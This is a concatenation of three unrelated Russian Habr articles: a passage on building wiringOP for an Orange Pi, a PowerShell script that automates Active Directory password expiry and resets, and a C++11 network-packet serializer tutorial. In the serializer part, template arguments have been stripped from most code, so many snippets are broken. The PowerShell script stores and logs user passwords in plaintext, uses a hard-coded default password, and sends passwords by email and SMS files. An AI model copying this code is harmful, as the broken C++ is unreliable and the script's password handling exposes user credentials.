Как оказалось, кодовая база проекта wiringOP является явно избыточной. Например, мне не нужен код для работы со сдвиговыми регистрами. Так что возможность удобно редактировать библиотеку оказывается очень кстати. Ключевой функцией является wiringPiSetup(), которая выясняет у Ubuntu адреса GPIO и других регистров в памяти путем чтения файла /dev/mem. Забегая вперед скажу, что это - [дырка в безопасности](https://github.com/orangepi-xunlong/wiringOP/issues/28), потому что читая /dev/mem - можно получить доступ не только к портам ввода-вывода, но и ко всей ОЗУ.
После инициализации с помощью wiringPiSetup() можно приступать к работе. Так, функция pinMode задает режим работы вывода гребенки: вход, выход, генерация PWM. Пример кода моргания светодиодом на выводе PIN8.
```
wiringPiSetup();
pinMode(3, OUTPUT);
while(1){
digitalWrite(3, LOW);
delay(1000); //for(volatile uint64_t i=0;i<0xFFF;i++);
digitalWrite(3, HIGH);
delay(1000); //for(volatile uint64_t i=0;i<0xFFF;i++);
}
```
Сам светодиод должен быть подключен к гребенке. В [случае](http://www.orangepi.org/downloadresources/) Orange Pi 4B ситуация следующая.
Статическая линковка wiringOP
-----------------------------
Текст выше был о том, зачем всё это надо и как это использовать. А теперь пришло время для основной части. Итак, нужно скачать wiringOP
```
git clone https://github.com/orangepi-xunlong/wiringOP.git
```
Далее необходимо создать новую Statically Linked Library. В качестве системы сборки я выбрал qmake.
Далее нужно из скачанной wiringOP в созданную библиотеку перенести некоторые файлы согласно рисунку ниже.
В файле .pro библиотеки можно настроить важные параметры, влияющие на сборку. Во-первых, указать модель SBC. Во-вторых, было бы удобно, чтобы результирующий файл libmy\_wiringOP\_v5.a помещался в отдельную папку wiringOP\_build\_artifacts. Это можно настроить следующим образом
```
DEFINES += CONFIG_ORANGEPI
DEFINES += CONFIG_ORANGEPI_4
DESTDIR = $$PWD/../wiringOP_build_artifacts
```
Подсказка. Знаком две точки требуем переход на каталог назад; переменная $$PWD предоставляет текущий путь к проекту.
Наконец можно собрать библиотеку. В случае успеха вы получите файл libmy\_wiringOP\_v5.a
Перейдём к тестовому проекту, в моём случае консольному. Необходимо добавить в проект нашу библиотеку как External Library согласно скриншоту.
Обратите внимание, что один и тот же файл wiringPi.h используется как при создании библиотеки, так и в тестовой программе. Наконец можно написать программу для моргания светодиодом. Далее перенесем исходные коды на целевую машину.
```
rsync -avz /home/andrei/Документы/mywiringOP/my_wiringOP_base/my_wiringOP_v5 a@192.168.0.112:/home/a/Documents/QtProj
rsync -avz /home/andrei/Документы/mywiringOP/my_wiringOP_base/wOP_Test1 a@192.168.0.112:/home/a/Documents/QtProj
```
Оборачиваясь назад, можно было просто поместить файлы wiringOP в дерево своего проекта и вызывать функции. Получается, что мы пошли по тернистому пути, однако приобрели навык создания своей библиотеки и использования её в проекте. Теперь [соберем](https://habr.com/ru/post/549886/) библиотеку и пример на целевой машине. Запускать приложение нужно или с sudo или осуществив [предварительную настройку](https://github.com/orangepi-xunlong/wiringOP/issues/28#issuecomment-810648817). У [меня](https://github.com/AndreiCherniaev/wiringOP) мигает, а у вас? | https://habr.com/ru/post/551342/ | null | ru | null |
# Автоматическое управление паролями в Active Directory
*Однажды мне всё это надоело…*
Вероятно, в большинстве случаев именно с этой фразы начинается творчество системных администраторов. В результате мы видим (хотя, правильнее сказать, даже и не замечаем) появление множества маленьких программ, которые выполняют свои точные и строго определённые задачи в одной большой системе.
Случилась (да и регулярно случается) со мной подобная история. Не скажу, что я изобрёл что-то новое и выдающееся. Скорее наоборот – воспользовался трудами коллег, найденными в просторах интернета и в кладезях премудрости Хабра. Но мне удалось объединить их для решения вполне конкретной и достаточно интересной задачи. Далее я опишу конкретное решение конкретной задачи по управлению паролями пользователей в Active Directory. Точнее, автоматизацию проверки срока действия этих паролей и генерации новых паролей. В качестве признательности коллегам я счёл необходимым опубликовать это решение здесь, в надежде, что оно кому-то пригодится или послужит источником новых идей.
Итак, существует некая организация с могучей и разветвлённой филиальной сетью. Филиалов много по всей нашей необъятной Родине и все они разнокалиберны. Большая часть из них включена в корпоративную сеть с доменной структурой, но множество подключено по принципу home-office. В дополнение к тому многие сотрудники постоянно находятся в длительных командировках без возможности подключаться к доменной сети и к интернету вообще.
В результате часто возникает проблема просроченных паролей. Политикой компании определён запрет на бессрочные пароли, а требования с строгости паролей достаточно суровы, что вызывает у пользователей сложности с их придумыванием и заменой. Соответственно, ничтоже сумняшеся свою головную боль они радостно перекладывают на IT поддержку, звоня и требуя сменить их уже недействующий пароль. Регулярно. Надоело.
Итак, что же мне захотелось сделать? Мне нужно средство, которое:
• само проверяло срок истечения действия пароля пользователя;
• предварительно предупреждало его о дате смены пароля по электропочте;
• предлагало пользователю вариант нового пароля;
• если пользователь не успел сменить пароль, автоматически заменяло его на новый;
• уведомляло пользователя о новом пароле посредством SMS.
Интерес состоял в том, чтобы решить эту задачу максимально подручными средствами, не привлекая сторонних услуг и сервисов. Ну вот не было никакого желания выбирать тарифы и пакеты. Зато был свободный GSM-модем. И всемогущий PowerShell.
В результате получился скрипт, а точнее — два скрипта. Почему так, объясняется просто – так сложилось исторически. Дело в том, что проверку паролей производит скрипт на виртуальной машине, расположенной в одном филиале, а рассылкой уведомлений по SMS занимается другая машина, расположенная в противоположной части страны. Из-за условий мобильного оператора иначе делать было нерентабельно.
Далее привожу оба скрипта целиком, которые я максимально прокомментировал. Выглядят они немного кучеряво. У меня не было особой потребности их причёсывать, поскольку работают они хорошо и в таком виде:
```
# Скрипт производит проверку паролей, срок действия которых истекает завтра,
# отсылает владельцу новый пароль по email,
# и автоматически заменяет, если срок действия паролей истёк.
#
# функция записи логов.
$dt=Get-Date -Format "dd-MM-yyyy"
$setupFolder = "c:\Active_Directory\Log"
New-Item -ItemType directory -Path $setupFolder -Force | out-null #Создаю директорию для логов
$global:logfilename="C:\Active_Directory\Log\"+$dt+"_LOG.log"
[int]$global:errorcount=0 #Ведем подсчет ошибок
[int]$global:warningcount=0 #Ведем подсчет предупреждений
function global:Write-log # Функция пишет сообщения в лог-файл и выводит на экран.
{param($message,[string]$type="info",[string]$logfile=$global:logfilename,[switch]$silent)
$dt=Get-Date -Format "dd.MM.yyyy HH:mm:ss"
$msg=$dt + "`t" + $type + "`t" + $message #формат: 01.01.2001 01:01:01 [tab] error [tab] Сообщение
Out-File -FilePath $logfile -InputObject $msg -Append -encoding unicode
if (-not $silent.IsPresent)
{
switch ( $type.toLower() )
{
"error"
{
$global:errorcount++
write-host $msg -ForegroundColor red
}
"warning"
{
$global:warningcount++
write-host $msg -ForegroundColor yellow
}
"completed"
{
write-host $msg -ForegroundColor green
}
"info"
{
write-host $msg
}
default
{
write-host $msg
}
}
}
}
#Функция генератора сложных паролей
function global:Get-RandomPassword
{
<# Функция генератора паролей PasswordLength - длина пароля #>
[CmdletBinding()]
param(
[Parameter(Position=0, Mandatory=$true, ValueFromPipeline=$true)]
[ValidateRange(4,15)]
[Int]
$PasswordLength
)
Begin{}
Process{
$numberchars=0..9 | % {$_.ToString()}
$lochars = [char]'a' .. [char]'z' | % {[char]$_}
$hichars = [char]'A' .. [char]'Z' | % {[char]$_}
$punctchars = [char[]](33..47)
$PasswordArray = Get-Random -InputObject @($hichars + $lochars + $numberchars + $punctchars) -Count $PasswordLength
$char1 = Get-Random -InputObject $hichars
$char2 = Get-Random -InputObject $lochars
$char3 = Get-Random -InputObject $numberchars
$char4 = Get-Random -InputObject $punctchars
$RndIndexArray = Get-Random (0..($PasswordLength-1)) -Count 4
$PasswordArray[$RndIndexArray[0]] = $char1
$PasswordArray[$RndIndexArray[1]] = $char2
$PasswordArray[$RndIndexArray[2]] = $char3
$PasswordArray[$RndIndexArray[3]] = $char4
return [system.string]::Join('', $PasswordArray)
}
End{}
}
#SMTP адрес почтового сервера
$smtpServer = "mail.domain.local"
#создаем объект письмо
$msg = new-object Net.Mail.MailMessage
$msgr = new-object Net.Mail.MailMessage
#создаем объект почтовый сервер
$smtp = new-object Net.Mail.SmtpClient($smtpServer)
# Функция для сообщения пользователю
Function EmailStructure($to,$expiryDate,$upn)
{
$msg.IsBodyHtml = $true
$msg.From = "ITHelpDesk@domain.local"
$msg.To.Clear()
$msg.To.Add($to)
$msg.Subject = "Password expiration notice"
$msg.Body =
"This is an automatically generated message from Company IT Service.
**Please note that the password for your account *domain\$upn* will expire on $expiryDate.**
System automatically generated a new password for you.
You can use password - **$generated\_password**
Please change your password immediately or at least before this date as you will be unable to access the service without contacting your administrator.
If you will not change your password, System set it automatically.
"}
# Функция для отчёта администратору
Function EmailStructureReport($to)
{
$msgr.IsBodyHtml = $true
$msgr.From = "PasswordChecker@domain.local"
$msgr.To.Add($to)
$msgr.Subject = "Script running report"
$msgr.Body =
"**This is a daily report.
Script for check expiried passwords has successfully completed its work.
$NotificationCounter users have recieved notifications:
$ListOfAccounts**"}
# Подключаем модуль для работы с Active Directory
Import-Module activedirectory
# получаем список всех активированных российских пользователей, у которых установлен срок действия пароля
$NotificationCounter = 0
$OU = "OU=Russia,DC=local,DC=domain"
$ADAccounts = Get-ADUser -LDAPFilter "(objectClass=user)" -searchbase $OU -properties PasswordExpired, employeeNumber, PasswordNeverExpires, PasswordLastSet, Mail, mobile, Enabled | Where-object {$_.Enabled -eq $true -and $_.PasswordNeverExpires -eq $false}
# для каждого пользователя
foreach ($ADAccount in $ADAccounts)
#проверяем политику сложности пароля
{
$accountFGPP = Get-ADUserResultantPasswordPolicy $ADAccount
if ($accountFGPP -ne $null)
{
$maxPasswordAgeTimeSpan = $accountFGPP.MaxPasswordAge
}
else
{
$maxPasswordAgeTimeSpan = (Get-ADDefaultDomainPasswordPolicy).MaxPasswordAge
}
#Заполняем переменные пользовательскими данными
$samAccountName = $ADAccount.samAccountName
$userEmailAddress = $ADAccount.mail
$userPrincipalName = $ADAccount.UserPrincipalName
$userStorePassword = $ADAccount.employeeNumber
$usermobile = $ADAccount.mobile
# Для каждого из пользователей, не успевшего сменить пароль
if ($ADAccount.PasswordExpired)
{
# Считываем пароль из атрибутного поля AD
# Если нет ранее сохранённого пароля, устанавливаем пароль по умолчанию - Pa$$w0rd
if ($userStorePassword -eq $NULL -or $useStorePassword -eq " ")
{
$userStorePassword = "Pa$$w0rd" }
# Заменяем пароль на новый
$newpwd = ConvertTo-SecureString -String $userStorePassword -AsPlainText –Force
Set-ADAccountPassword -Identity $samAccountName -NewPassword $newpwd –Reset
# Сохраняем новый пароль и номер мобильного телефона в TXT файл
if ($usermobile -ne $NULL)
{
$SMSfile="C:\ActiveDirectory\SMS_notice.txt"
$SMSMessage=$usermobile + "," + $userStorePassword
Out-File -FilePath $SMSfile -InputObject $SMSMessage -Append -encoding unicode
}
# Делаем запись в журнале
write-log "for $samAccountName will set a stored password - $userStorePassword. Message send to mobile - $usermobile"
write-log "---------------------------------------------------------------------------------------------------------"
# Очищаем атрибутное поле AD
Set-ADUser $samAccountName -employeeNumber $null
}
else
# Для всех тех, у кого пароль истекает завтра, то есть $DaysToExpireDD меньше 2
{
$ExpiryDate = $ADAccount.PasswordLastSet + $maxPasswordAgeTimeSpan
$TodaysDate = Get-Date
$DaysToExpire = $ExpiryDate - $TodaysDate
#Вычисляем дней до просрочки в DaysToExpireDD в формате дней
$DaysToExpireDD = $DaysToExpire.ToString() -Split ("\S{17}$")
if (($DaysToExpire.Days -le 2))
{
Write-log "The password for account $samAccountName expires on: $ExpiryDate. Days left: $DaysToExpireDD
# Генерируем новый пароль в переменную $generated_password
$generated_password = Get-RandomPassword 10
write-log "Generated password: $samAccountName - $generated_password"
write-log "-----------------------------------------------------------------------------------------"
# Записываем новый пароль в атрибутное полe AD. Будем пользоваться атрибутом employeeNumber
Set-ADUser $samAccountName -employeeNumber $generated_password
# отсылаем письмо с предупреждением пользователю
if ($userEmailAddress) #проверяем наличие адреса электронной почты у пользователя.
{
EmailStructure $userEmailAddress $expiryDate $samAccountName
$smtp.Send($msg)
write-log "NOTIFICATION - $samAccountName :: e-mail was sent to $userEmailAddress"
$NotificationCounter = $NotificationCounter + 1
$ListOfAccounts = $ListOfAccounts + $samAccountName + " - $DaysToExpireDD days left. Sent to $userEmailAddress
" }
}
}
}
#Отправляем список новых паролей на сервер, который занимается отправкой SMS
# Если список существует
If (Test-Path $SMSfile)
{
Copy-Item -Path $SMSfile -Destination \\SMS-Send-Server.domain.local\C$\ActiveDirectory\SMS_notice.txt
# Удаляем файл со списком новых паролей
Remove-Item $SMSfile
}
# отсылаем копию отчёта администратору
Write-log "SENDING REPORT TO IT DEPARTMENT"
EmailStructureReport("ITHelpdesk@domain.local")
$smtp.Send($msgr)
``` | https://habr.com/ru/post/255197/ | null | ru | null |
# Пишем сериализатор для сетевой игры на C++11
Написать этот пост меня вдохновила замечательная [статья в блоге Gaffer on Games «Reading and Writing Packets»](http://gafferongames.com/building-a-game-network-protocol/reading-and-writing-packets/) и неуёмная тяга автоматизировать всё и вся (особенно написание кода на C++!).
Начнём с постановки задачи. Мы пишем сетевую игру (и сразу MMORPG, конечно же!), и независимо от архитектуры у нас возникает необходимость постоянно посылать и получать данные по сети. У нас, скорее всего, возникнет необходимость посылать несколько разных типов пакетов (действия игроков, обновления игрового мира, просто-напросто аутентификация, в конце концов!), и для каждого у нас должна быть функция чтения и функция записи. Казалось бы, не вопрос сесть и написать спокойно эти две функции и не нервничать, однако у нас сразу же возникает ряд проблем.
* Выбор формата. Если бы мы писали простенькую игру на JavaScript, нас бы устроил JSON или любой его самописный родственник. Но мы пишем серьёзную многопользовательскую игру, требовательную к трафику; мы не можем позволить себе отправлять ~16 байт на float вместо четырёх. Значит, нам нужен «сырой» двоичный формат. Однако, двоичные данные усложняют отладку; было бы здорово, если бы мы могли менять формат в любой момент, не переписывая целиком все наши функции чтения/записи.
* Проблемы безопасности. Первое правило сетевой игры: *не доверяй данным, присланным клиентом*! Функция чтения должна уметь оборваться в любой момент и вернуть `false`, если что-то пошло не так. При этом использовать исключения считается неважной идеей, поскольку они слишком медленные. Мамкин хакер пусть и не сломает ваш сервер, но вполне может ощутимо замедлить его беспрерывными эксепшнами. Но вручную писать код, состоящий из if'ов и return'ов, неприятно и неэстетично.
* Повторяющийся код. Функции чтения и записи похожи, да не совсем. Необходимость изменить структуру пакета приводит к необходимости поменять *две* функции, что рано или поздно приведёт к тому, что вы забудете поменять одну из них или поменяете их по-разному, что приведёт к трудно отлавливаемым багам. Как справедливо замечает Gaffer on Games, *it is really bloody annoying to maintain separate read and write functions*.
Всех интересующихся тем, как Бендер выполнил своё обещание и при этом решил обозначенные проблемы, прошу под кат.
Потоки чтения и записи
----------------------
Начнём с начальных предположений. Мы хотим уметь писать и читать текстовый и бинарный формат; пусть текстовый формат будет читаться и писаться из/в стандартные потоки STL (`std::basic_istream` и `std::basic_ostream`, соответственно). Для бинарного формата у нас будет свой класс `BitStream`, поддерживающий аналогичный потокам STL интерфейс (как минимум операторы `<<` и `>>`, метод [`rdstate()`](http://en.cppreference.com/w/cpp/io/basic_ios/rdstate), возвращающий 0 при отсутствии ошибок чтения/записи и не 0 в остальных случаях, и способность кушать [манипуляторы](http://en.cppreference.com/w/cpp/io/manip)); так же было бы здорово, если бы он умел писать и читать данные длины, не кратной восьми битам.
**Возможный интерфейс класса BitStream**
```
using byte = uint8_t;
class BitStream {
byte* bdata;
uint64_t position;
uint64_t length, allocated;
int mode; // 0 = read, other = write
int state; // 0 = OK
void reallocate(size_t);
public:
static const int MODE_READ = 0; // здесь, конечно же, нужен модный
static const int MODE_WRITE = 1; // enum class, но пока забьём
inline int get_mode(void) const noexcept { return mode; }
BitStream(void); // для записи
BitStream(void*, uint64_t); // для чтения
~BitStream(void);
int rdstate(void) const;
// записать младшие how_much бит:
void write_bits(char how_much, uint64_t bits);
// прочитать how_much бит в младшие биты результата:
uint64_t read_bits(char how_much);
void* data(void);
BitStream& operator<<(BitStream&(*func)(BitStream&)); // вкусные
BitStream& operator>>(BitStream&(*func)(BitStream&)); // манипуляторы
};
template
typename std::enable\_if::value, BitStream&>::type
operator<<(BitStream& out, const Int& arg); // записать 8\*sizeof(Int) бит в поток
template
typename std::enable\_if::value, BitStream&>::type
operator>>(BitStream& in, Int& arg); // прочитать 8\*sizeof(Int) бит из потока
```
**Зачем здесь enable\_if и как он работает?**[`std::enable_if`](http://en.cppreference.com/w/cpp/types/enable_if) проверяет условие `condition` и, если оно выполнено (т.е. не равно нулю), определяет тип `std::enable_if<...>::type`, равный указанному пользователем типу `T` или (по умолчанию) `void`. Если условие не выполнено, обращение к `std::enable_if<...>::type` выдаёт undefined; такая ошибка помешает скомпилироваться нашему шаблону, но не помешает скомпилироваться программе, поскольку [substitution failure is not an error (SFINAE)](https://en.wikipedia.org/wiki/Substitution_failure_is_not_an_error) – ошибка при подстановке аргументов в шаблон не является ошибкой компиляции. Программа успешно скомпилируется, если где-то определена другая реализация `operator<<` с подходящей сигнатурой, или скажет, что подходящей для вызова функции просто нет (умный компилятор, возможно, уточнит, что он пытался, но у него случилось SFINAE).
Интерфейс сериализатора
-----------------------
Понятно, что теперь нам нужны базовые «кирпичики» сериализатора: функции или объекты, умеющие сериализовывать и парсить целые числа или числа с плавающей точкой. Однако, мы (конечно же!) хотим расширяемости, т.е. чтобы программист мог написать «кирпичик» для сериализации любого своего типа данных и использовать его в нашем сериализаторе. Как такой кирпичик должен выглядеть? Я предлагаю простейший формат:
```
struct IntegerField {
template
static void serialize(OutputStream& out, int t) {
out << t; // просто скормить сериализуемый объект в поток!
} // эту функцию тоже можно заставить возвращать bool, но пока забьём
template
static bool deserialize(InputStream& in, int& t) {
in >> t; // просто вытащить считываемый объект из потока!
return !in.rdstate(); // вернуть true, если при чтении не произошло ошибок
}
};
```
Просто класс с двумя статическими методами и, возможно, неограниченным числом их перегрузок. (Так, вместо одного шаблонного метода допускается написать несколько: один для `std::basic_ostream`, один для `BitStream`, неограниченное количество для любых других стримов на вкус программиста.)
Например, для сериализации и парсинга динамического массива элементов интерфейс может выглядеть так:
```
template
struct ArrayField {
template
static void serialize(OutputStream& out, size\_t n, const T\* data);
template
static void serialize(OutputStream& out, const std::vector& data);
template
static bool deserialize(InputStream& in, size\_t& n, T\*& data);
template
static bool deserialize(InputStream& in, std::vector& data);
};
```
Вспомогательные шаблоны `can_serialize` и `can_deserialize`
-----------------------------------------------------------
Далее нам потребуется возможность проверять, может ли такое-то поле запускать сериализацию/парсинг с такими-то аргументами. Здесь мы приходим к более подробному обсуждению variadic tempates и SFINAE.
Начнём с кода:
```
template
struct TypeList { // просто вспомогательный класс, статический «список типов»
static const size\_t length = sizeof...(Types);
};
template class can\_serialize;
template
class can\_serialize>
{
template
static char func(decltype(U::serialize(std::declval()...))\*);
template
static long func(...);
public:
static const bool value = ( sizeof(func(0)) == sizeof(char) );
};
```
**Что это?** Это структура, на этапе компиляции определяющая по заданному классу `F` и списку типов `L = TypeList`, можно ли вызвать функцию `F::serialize` с аргументами этих типов. Например,
```
can_serialize >::value
```
равно 1, как и
```
can_serialize >::value
```
(потому что `char&` прекрасно конвертируется в `int`), однако,
```
can_serialize >::value
```
равно 0, так как в `IntegerField` не предусмотрено метода `serialize`, принимающего на вход только поток вывода.
**Как это работает?** Более тонкий вопрос, давайте разберёмся.
Начнём с класса `TypeList`. Здесь мы используем обещанные Бендером *variadic templates*, то есть *шаблоны с переменным количеством аргументов*. Шаблон класса `TypeList` принимает произвольное количество аргументов-типов, которые помещаются в *parameter pack* под именем `Types`. (О том, как использовать parameter packs, я писал подробнее в [предыдущей статье](https://habrahabr.ru/post/248897/).) Наш класс `TypeList` не делает ничего полезного, но вообще с parameter pack на руках мы можем сделать довольно многое. Например, конструкция
```
std::declval()...
```
для parameter pack длины 4, содержащего типы `T1, T2, T3, T4`, раскроется при компиляции в
```
std::declval(), std::declval(), std::declval(), std::declval()
```
Далее. У нас есть шаблон `can_serialize`, принимающий класс `F` и список типов `L`, и частичная специализация, дающая нам доступ к самим типам в списке. (Если запросить `can_serialize`, где `L` не является списком типов, компилятор пожалуется на неопределённый шаблон (undefined template), и поделом.) В этой частичной специализации и просходит вся магия.
В её коде есть вызов `func(0)` внутри `sizeof`. Компилятор вынужден будет определить, какая из перегрузок функции `func` вызывается, чтобы вычислить размер возвращаемого в байтах, но он не станет пытаться скомпилировать её, и поэтому нас не ждёт ошибок типа «что-то я реализации вашей функции не нахожу» (равно как и ошибок «в теле функции какая-то лажа с типами», если бы это тело было). Сперва он попытается использовать первое определение `func`, весьма замысловатого вида:
```
template
static char func( decltype( U::serialize( std::declval()... ) )\* );
```
Конструкция `decltype` выдаёт тип выражения в скобках; например, `decltype(10)` есть то же самое, что `int`. Но, как и `sizeof`, она не компилирует его; это позволяет работать фокусу с `std::declval`. `std::declval` — это функция, *делающая вид*, что возвращает rvalue-ссылку требуемого типа; она делает выражение `U::serialize( std::declval()... )` имеющим смысл и мимикрирующим под настоящий вызов `U::serialize`, даже если у половины аргументов нет конструктора по умолчанию и мы не можем написать просто `U::serialize( Ts()... )` (не говоря уже о том, что эта функция может требовать lvalue-ссылки! кстати, в этом случае `declval` выдаст lvalue-ссылку, потому что по правилам C++ `T& &&` равно `T&`). Реализации она, конечно, не имеет; написать в обычном коде
```
int a = std::declval();
```
— плохая идея.
Так вот. Если вызов внутри `decltype` невозможен (нет функции с такой сигнатурой или её подстановка вызывает ошибку по каким-либо причинам) — компилятор считает, что случилась ошибка подстановки шаблона (substitution failure), которая, как известно, is not an error (SFINAE). И он спокойно идёт дальше, пытаясь использовать следующее определение `func`, в котором никаких проблем уже не предвидится. Однако, другая функция возвращает результат другого размера, что легко можно отловить с помощью `sizeof`. (На самом деле не так легко, и `sizeof(long)` вполне может быть равен `sizeof(char)` на экзотических платформах, но опустим эти детали — всё это поправимо.)
В качестве пищи для самостоятельного размышления приведу также код шаблона `can_deserialize`, который специально чуть-чуть сложнее: он не только проверяет, можно ли вызвать `F::deserialize` с заданными типами аргументов, но и убеждается, что тип результата равен `bool`.
```
template class can\_deserialize;
template
class can\_deserialize>
{
template static char func(
typename std::enable\_if<
std::is\_same()...)), bool>::value
>::type\*
);
template static long func(...);
public:
using type = can\_deserialize;
static const bool value = ( sizeof(func(0)) == sizeof(char) );
};
```
Собираем пакеты из кирпичиков
-----------------------------
Наконец, время заняться содержательной частью сериализатора. Вкратце, мы хотим получить шаблонный класс `Schema`, который бы предоставлял функции `serialize` и `deserialize`, собранные из «кирпичиков»:
```
using MyPacket = Schema>;
MyPacket::serialize(std::cout, 10, 15, 0.3, 0, nullptr);
int da, db;
float fc;
std::vector my\_vector;
bool success = MyPacket::deserialize(std::cin, da, db, fc, my\_vector);
```
Начнём с простого — объявления шаблонного класса (с переменным числом аргументов, ня!) и конца рекурсии.
```
template
struct Schema;
template<>
struct Schema<> {
template
static void serialize(OutputStream&) {
// ничего не надо делать!
}
template
static bool deserialize(InputStream&) {
return true; // нет работы -- нет ошибок!
}
};
```
Но как должен выглядеть код функции `serialize` в схеме с ненулевым числом полей? Заранее вычислить типы, принимаемые функциями `serialize` всех данных полей, и сконкатенировать их мы не можем: это потребовало бы ещё не включенных в стандарт [invocation type traits](http://www.open-std.org/jtc1/sc22/wg21/docs/papers/2014/n3866.html). Остаётся лишь сделать функцию с переменным числом аргументов и отправлять столько из них в каждое поле, сколько то может съесть — тут-то нам и пригодится рождённая в муках `can_serialize`.
Для такой рекурсии по числу аргументов нам потребуется вспомогательный класс (основной класс `Schema` будет заниматься рекурсией по числу полей). Определим его, не скупясь на аргументы:
```
template<
typename F, // текущее поле, serialize которого мы пытаемся вызвать
typename NextSerializer, // куда потом отправить «лишние» аргументы
typename OS, // тип потока вывода
typename TL, // типы аргументов, с которыми пытаемся вызвать F::serialize
bool can_serialize // можно ли вызвать с такими типами
> struct SchemaSerializer;
```
Тогда частичная специализация `Schema`, окончательно реализующая рекурсию по числу полей, примет вид
```
template
struct Schema {
template<
typename OutputStream, // любой поток вывода
typename... Types // сколько угодно каких угодно аргументов
> static void serialize(OutputStream& out, Types&&... args) {
// просто вызываем serialize вспомогательного класса:
SchemaSerializer<
F, // текущее поле
Schema, // рекурсия по числу полей
OutputStream&, // тип потока вывода
TypeList, // типы всех имеющихся аргументов
can\_serialize>::value // !!!
>::serialize(out, std::forward(args)...);
}
// . . . (здесь должна быть аналогичная deserialize)
};
```
Теперь напишем рекурсию для `SchemaSerializer`. Начнём с простого — с конца:
```
template
struct SchemaSerializer, false> {
// мы дошли до самого низа рекурсии, но ничего не получилось.
// без аргументов (кроме потока вывода) вызвать F::serialize
// тоже не получается. что поделать, просто не объвляем здесь
// ничего -- пользователь где-то накосячил, компилятор выдаст
// ему no such function serialize(...) и будет прав.
};
template
struct SchemaSerializer, true> {
// мы дошли до самого низа рекурсии и -- о чудо! -- F::serialize
// можно вызвать вообще без аргументов! (не считая потока вывода)
template // оставшиеся аргументы
static void serialize(OS& out, TailArgs&&... targs) {
F::serialize(out); // ну вызываем без аргументов, чо
// (здесь можно отправить в out какой-нибудь разделитель)
// рекурсия по числу полей понеслась дальше:
NextSerializer::serialize(out, std::forward(targs)...);
}
};
```
Здесь мы подошли ко второму концепту, обещанному Бендером — *perfect forwarding*. Нам пришли лишние аргументы (возможно, и ноль аргументов, но скорее всего нет), и мы хотим отправить их дальше, в `NextSerializer::serialize`. В случае шаблонов это проблема, известная как perfect forwarding problem.
Perfect forwarding
------------------
Допустим, вы хотите написать враппер вокруг шаблонной функции `f`, принимающей один аргумент. Например,
```
template
void better\_f(T arg) {
std::cout << "I'm so much better..." << std::endl;
f(arg);
}
```
Выглядит неплохо, однако, незамедлительно ломается, если `f` принимает на вход lvalue-ссылку `T&`, а не просто `T`: исходная функция `f` получит на вход ссылку на временный объект, поскольку тип Т будет вычислен (deduced) как тип без ссылки. Решение просто:
```
template
void better\_f(T& arg) {
std::cout << "I'm so much better..." << std::endl;
f(arg);
}
```
И опять-таки незамедлительно ломается, если `f` принимает аргумент по значению: в исходную функцию можно было посылать литералы и прочие rvalues, а в новую — нет.
Придётся написать оба варианта, чтобы компилятор мог выбрать и полная совместимость присутствовала в обоих случаях:
```
template
void better\_f(T& arg) {
std::cout << "I'm so much better..." << std::endl;
f(arg);
}
template
void better\_f(const T& arg) {
std::cout << "I'm so much better..." << std::endl;
f(arg);
}
```
И весь этот цирк для одной функции с одним аргументом. С ростом числа аргументов число необходимых перегрузок для полноценного враппера будет расти экспоненциально.
Для борьбы с этим C++11 вводит rvalue reference и новые правила вычисления типов. Теперь можно написать просто
```
template
void better\_f(T&& arg) {
std::cout << "I'm so much better..." << std::endl;
// ? . .
}
```
Модификатор && в контексте вычисления типов имеет особый смысл (хотя его легко спутать с обычной rvalue-ссылкой). Если функции будет передана lvalue-ссылка на объект типа `type`, тип T теперь будет угадан как `type&`; если же будет передано rvalue типа `type`, тип T будет угадан как `type&&`. Последнее, что осталось сделать для чистого perfect forwarding без лишних копирований аргументов по умолчанию — это использовать `std::forward`:
```
template
void better\_f(T&& arg) {
std::cout << "I'm so much better..." << std::endl;
f(std::forward(arg));
}
```
`std::forward` не трогает обычные ссылки и превращает объекты, переданные по значению, в rvalue-ссылки; таким образом, после первого же враппера дальше по цепочке врапперов (если такая есть) пойдет rvalue-ссылка вместо непосредственно объекта, избавляя от лишних копирований.
Продолжаем сериализатор
-----------------------
Итак, конструкция
```
NextSerializer::serialize(out, std::forward(targs)...);
```
осуществляет perfect forwarding, отправляя все «лишние» аргументы в неизменном виде дальше по цепочке сериализаторов.
Продолжим писать рекурсию для `SchemaSerializer`. Шаг рекурсии для `can_serialize = false`:
```
template
struct SchemaSerializer, false>:
// с такими аргументами вызвать F::serialize не получается --
// попробуем взять их поменьше; если получится, мы унаследуем
// работающую функцию serialize
public SchemaSerializer>::Result, // все аргументы, кроме последнего
can\_serialize>::Result>::value // !!!
> {
// в самом классе делать нечего ¯\\_(ツ)\_/¯
};
```
**Реализация вспомогательного класса Head, отрезающего от списка типов последний элемент**
```
template struct Head;
// нам потребуется ещё один вспомогательный класс...
template struct Concatenate;
// зато его имя говорит само за себя!
template<>
struct Concatenate<> {
using Result = EmptyList;
};
template
struct Concatenate> {
using Result = TypeList;
};
template
struct Concatenate, TypeList> {
using Result = TypeList;
};
template
struct Concatenate, Ts...> {
using Result = typename Concatenate<
TypeList,
typename Concatenate::Result
>::Result;
};
// к сожалению, в С++ нельзя написать
// template
// struct Head>, так что
// приходится идти менее красивым путём
template
struct Head> {
using Result = typename Concatenate, typename Head>::Result>::Result;
};
template
struct Head> {
using Result = TypeList;
};
template
struct Head> {
using Result = TypeList<>;
};
template<>
struct Head> {
using Result = TypeList<>;
};
```
Шаг рекурсии для `can_serialize = true`:
```
template
struct SchemaSerializer, true> {
template // оставшиеся аргументы
static void serialize(OS& out, Types... args, TailTypes&&... targs) {
F::serialize(out, std::forward(args)...);
// (здесь можно отправить в out какой-нибудь разделитель)
// рекурсия по числу полей понеслась дальше:
NextSerializer::serialize(out, std::forward(targs)...);
}
};
```
Иииии… это всё! На этом наш сериализатор (в самых общих чертах) готов, и простейший код
```
using MyPacket = Schema<
IntegerField,
IntegerField,
CharField
>;
MyPacket::serialize(std::cout, 777, 6666, 'a');
```
успешно выводит
```
7776666a
```
Но как такое десериализовать? Нужно всё-таки добавить пробелы. Приличный (то есть достаточно абстрактный для тру-C++) способ сделать это — запилить манипулятор-разделитель полей:
```
template< class CharT, class Traits >
std::basic_ostream& delimiter( std::basic\_ostream& os ) {
return os << CharT(' '); // в обычный std::ostream отправляем пробел
}
template< class CharT, class Traits >
std::basic\_istream& delimiter( std::basic\_istream& is ) {
return is; // при чтении париться о пробелах уже не надо
}
BitStream& delimiter(BitStream& bs) {
return bs; // ничего не надо делать -- ни при чтении, ни при записи!
// (хотя можно запилить манипулятор с выравниванием по байту,
// но это уже другая история)
}
```
